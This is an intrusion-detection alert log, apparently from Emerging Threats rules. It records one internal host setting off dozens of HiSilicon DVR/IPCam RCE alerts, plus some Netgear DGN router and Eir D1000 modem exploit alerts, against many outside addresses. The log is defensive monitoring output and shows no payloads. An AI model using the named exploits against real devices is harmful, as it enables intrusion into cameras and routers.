Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.148.163.71

Timestamp:	05/16/24-16:39:12.295300
SID:	2030488
Source Port:	55750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.38.91.108

Timestamp:	05/16/24-16:39:16.599450
SID:	2030488
Source Port:	53170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.38.91.108

Timestamp:	05/16/24-16:39:16.599450
SID:	2030487
Source Port:	53170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.19.69.230

Timestamp:	05/16/24-16:39:05.702439
SID:	2030488
Source Port:	57922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.42.217.222

Timestamp:	05/16/24-16:38:50.052449
SID:	2030487
Source Port:	44084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.19.69.230

Timestamp:	05/16/24-16:39:05.702439
SID:	2030487
Source Port:	57922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.42.217.222

Timestamp:	05/16/24-16:38:50.052449
SID:	2030488
Source Port:	44084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.91.120.172

Timestamp:	05/16/24-16:38:55.213083
SID:	2030487
Source Port:	60880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.91.120.172

Timestamp:	05/16/24-16:38:55.213083
SID:	2030488
Source Port:	60880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.247.137.69

Timestamp:	05/16/24-16:38:53.011368
SID:	2030487
Source Port:	38490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.247.137.69

Timestamp:	05/16/24-16:38:53.011368
SID:	2030488
Source Port:	38490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.12.20.124

Timestamp:	05/16/24-16:39:05.679553
SID:	2030487
Source Port:	33380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 206.205.86.165

Timestamp:	05/16/24-16:39:13.663454
SID:	2029215
Source Port:	36772
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.30.133.254

Timestamp:	05/16/24-16:39:05.712617
SID:	2030487
Source Port:	58926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.30.133.254

Timestamp:	05/16/24-16:39:05.712617
SID:	2030488
Source Port:	58926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.12.20.124

Timestamp:	05/16/24-16:39:05.679553
SID:	2030488
Source Port:	33380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.7.103.251

Timestamp:	05/16/24-16:39:12.298151
SID:	2030488
Source Port:	46552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.7.103.251

Timestamp:	05/16/24-16:39:12.298151
SID:	2030487
Source Port:	46552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.160.212.66

Timestamp:	05/16/24-16:38:55.175004
SID:	2030488
Source Port:	39952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.210.148.182

Timestamp:	05/16/24-16:38:59.609951
SID:	2030488
Source Port:	38110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.160.212.66

Timestamp:	05/16/24-16:38:55.175004
SID:	2030487
Source Port:	39952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.210.148.182

Timestamp:	05/16/24-16:38:59.609951
SID:	2030487
Source Port:	38110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.74.63.226

Timestamp:	05/16/24-16:39:05.698764
SID:	2030487
Source Port:	38862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.74.63.226

Timestamp:	05/16/24-16:39:05.698764
SID:	2030488
Source Port:	38862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.232.84.117

Timestamp:	05/16/24-16:38:59.558003
SID:	2030488
Source Port:	47756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.232.84.117

Timestamp:	05/16/24-16:38:59.558003
SID:	2030487
Source Port:	47756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.10.97.140

Timestamp:	05/16/24-16:39:05.698714
SID:	2030488
Source Port:	53198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.3.169.192

Timestamp:	05/16/24-16:38:53.071312
SID:	2030487
Source Port:	35368
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.3.169.192

Timestamp:	05/16/24-16:38:53.071312
SID:	2030488
Source Port:	35368
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.10.97.140

Timestamp:	05/16/24-16:39:05.698714
SID:	2030487
Source Port:	53198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 125.195.20.39

Timestamp:	05/16/24-16:39:02.097096
SID:	2023548
Source Port:	42324
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.128.70.203

Timestamp:	05/16/24-16:38:59.520008
SID:	2030488
Source Port:	53588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.115.163.36

Timestamp:	05/16/24-16:39:03.267141
SID:	2030487
Source Port:	35546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.115.163.36

Timestamp:	05/16/24-16:39:03.267141
SID:	2030488
Source Port:	35546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.17.186.40

Timestamp:	05/16/24-16:38:59.559321
SID:	2030488
Source Port:	32992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.128.70.203

Timestamp:	05/16/24-16:38:59.520008
SID:	2030487
Source Port:	53588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.17.186.40

Timestamp:	05/16/24-16:38:59.559321
SID:	2030487
Source Port:	32992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.141.13.4

Timestamp:	05/16/24-16:39:12.402902
SID:	2030487
Source Port:	46190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.171.191.115

Timestamp:	05/16/24-16:39:03.280209
SID:	2030487
Source Port:	54294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.141.13.4

Timestamp:	05/16/24-16:39:12.402902
SID:	2030488
Source Port:	46190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.171.191.115

Timestamp:	05/16/24-16:39:03.280209
SID:	2030488
Source Port:	54294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.190.222.14

Timestamp:	05/16/24-16:39:08.041832
SID:	2030488
Source Port:	49336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.168.21.86

Timestamp:	05/16/24-16:38:50.001247
SID:	2030487
Source Port:	38420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.168.21.86

Timestamp:	05/16/24-16:38:50.001247
SID:	2030488
Source Port:	38420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.190.222.14

Timestamp:	05/16/24-16:39:08.041832
SID:	2030487
Source Port:	49336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.114.180.85

Timestamp:	05/16/24-16:39:16.599369
SID:	2030488
Source Port:	33680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.114.180.85

Timestamp:	05/16/24-16:39:16.599369
SID:	2030487
Source Port:	33680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.48.76.80

Timestamp:	05/16/24-16:38:55.208913
SID:	2030487
Source Port:	37512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.80.117.30

Timestamp:	05/16/24-16:39:16.611226
SID:	2030488
Source Port:	51226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.48.76.80

Timestamp:	05/16/24-16:38:55.208913
SID:	2030488
Source Port:	37512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.80.117.30

Timestamp:	05/16/24-16:39:16.611226
SID:	2030487
Source Port:	51226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.164.81.165

Timestamp:	05/16/24-16:38:50.048816
SID:	2030488
Source Port:	59786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.164.81.165

Timestamp:	05/16/24-16:38:50.048816
SID:	2030487
Source Port:	59786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.30.159.126

Timestamp:	05/16/24-16:39:12.406640
SID:	2030487
Source Port:	34206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.30.159.126

Timestamp:	05/16/24-16:39:12.406640
SID:	2030488
Source Port:	34206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.207.8.6

Timestamp:	05/16/24-16:39:03.281226
SID:	2030487
Source Port:	48464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.207.8.6

Timestamp:	05/16/24-16:39:03.281226
SID:	2030488
Source Port:	48464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.156.74.74

Timestamp:	05/16/24-16:39:03.263582
SID:	2030487
Source Port:	54778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.139.168.178

Timestamp:	05/16/24-16:38:50.004138
SID:	2030487
Source Port:	40638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.118.232.183

Timestamp:	05/16/24-16:39:16.599007
SID:	2030487
Source Port:	41470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.118.232.183

Timestamp:	05/16/24-16:39:16.599007
SID:	2030488
Source Port:	41470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.3.74.184

Timestamp:	05/16/24-16:39:08.092880
SID:	2030487
Source Port:	45944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.10.93.11

Timestamp:	05/16/24-16:39:08.146404
SID:	2030488
Source Port:	55446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.3.74.184

Timestamp:	05/16/24-16:39:08.092880
SID:	2030488
Source Port:	45944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.10.93.11

Timestamp:	05/16/24-16:39:08.146404
SID:	2030487
Source Port:	55446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.139.168.178

Timestamp:	05/16/24-16:38:50.004138
SID:	2030488
Source Port:	40638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.156.74.74

Timestamp:	05/16/24-16:39:03.263582
SID:	2030488
Source Port:	54778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.220.201.50

Timestamp:	05/16/24-16:39:02.767175
SID:	2030488
Source Port:	42170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.86.198.152

Timestamp:	05/16/24-16:39:14.507686
SID:	2030487
Source Port:	32990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.191.76.119

Timestamp:	05/16/24-16:38:55.210373
SID:	2030487
Source Port:	41104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.86.198.152

Timestamp:	05/16/24-16:39:14.507686
SID:	2030488
Source Port:	32990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.191.76.119

Timestamp:	05/16/24-16:38:55.210373
SID:	2030488
Source Port:	41104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.171.76.118

Timestamp:	05/16/24-16:39:12.295435
SID:	2030488
Source Port:	44980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.171.76.118

Timestamp:	05/16/24-16:39:12.295435
SID:	2030487
Source Port:	44980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.174.97.47

Timestamp:	05/16/24-16:39:03.276928
SID:	2030488
Source Port:	40190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.48.177.93

Timestamp:	05/16/24-16:39:14.507386
SID:	2030487
Source Port:	47412
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.60.82.45

Timestamp:	05/16/24-16:38:57.425718
SID:	2030488
Source Port:	35054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.174.97.47

Timestamp:	05/16/24-16:39:03.276928
SID:	2030487
Source Port:	40190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.60.82.45

Timestamp:	05/16/24-16:38:57.425718
SID:	2030487
Source Port:	35054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.48.177.93

Timestamp:	05/16/24-16:39:14.507386
SID:	2030488
Source Port:	47412
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.223.176.88

Timestamp:	05/16/24-16:39:12.400963
SID:	2030488
Source Port:	48148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.223.176.88

Timestamp:	05/16/24-16:39:12.400963
SID:	2030487
Source Port:	48148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 76.160.156.195

Timestamp:	05/16/24-16:39:09.595122
SID:	2029215
Source Port:	47236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.145.32.251

Timestamp:	05/16/24-16:39:02.747904
SID:	2030488
Source Port:	51566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.145.32.251

Timestamp:	05/16/24-16:39:02.747904
SID:	2030487
Source Port:	51566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.113.15.237

Timestamp:	05/16/24-16:38:53.011234
SID:	2030487
Source Port:	35506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.35.181.26

Timestamp:	05/16/24-16:38:57.429984
SID:	2030487
Source Port:	51496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.212.175.200

Timestamp:	05/16/24-16:39:08.136819
SID:	2030487
Source Port:	60754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.113.15.237

Timestamp:	05/16/24-16:38:53.011234
SID:	2030488
Source Port:	35506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.35.181.26

Timestamp:	05/16/24-16:38:57.429984
SID:	2030488
Source Port:	51496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.212.175.200

Timestamp:	05/16/24-16:39:08.136819
SID:	2030488
Source Port:	60754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.83.63.71

Timestamp:	05/16/24-16:38:57.424473
SID:	2030488
Source Port:	53582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.83.63.71

Timestamp:	05/16/24-16:38:57.424473
SID:	2030487
Source Port:	53582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.20.143.31

Timestamp:	05/16/24-16:39:12.382141
SID:	2030487
Source Port:	42186
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.20.143.31

Timestamp:	05/16/24-16:39:12.382141
SID:	2030488
Source Port:	42186
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.207.6.187

Timestamp:	05/16/24-16:38:53.011282
SID:	2030488
Source Port:	55572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.207.6.187

Timestamp:	05/16/24-16:38:53.011282
SID:	2030487
Source Port:	55572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.146.7.99

Timestamp:	05/16/24-16:39:12.382053
SID:	2030487
Source Port:	39190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.146.7.99

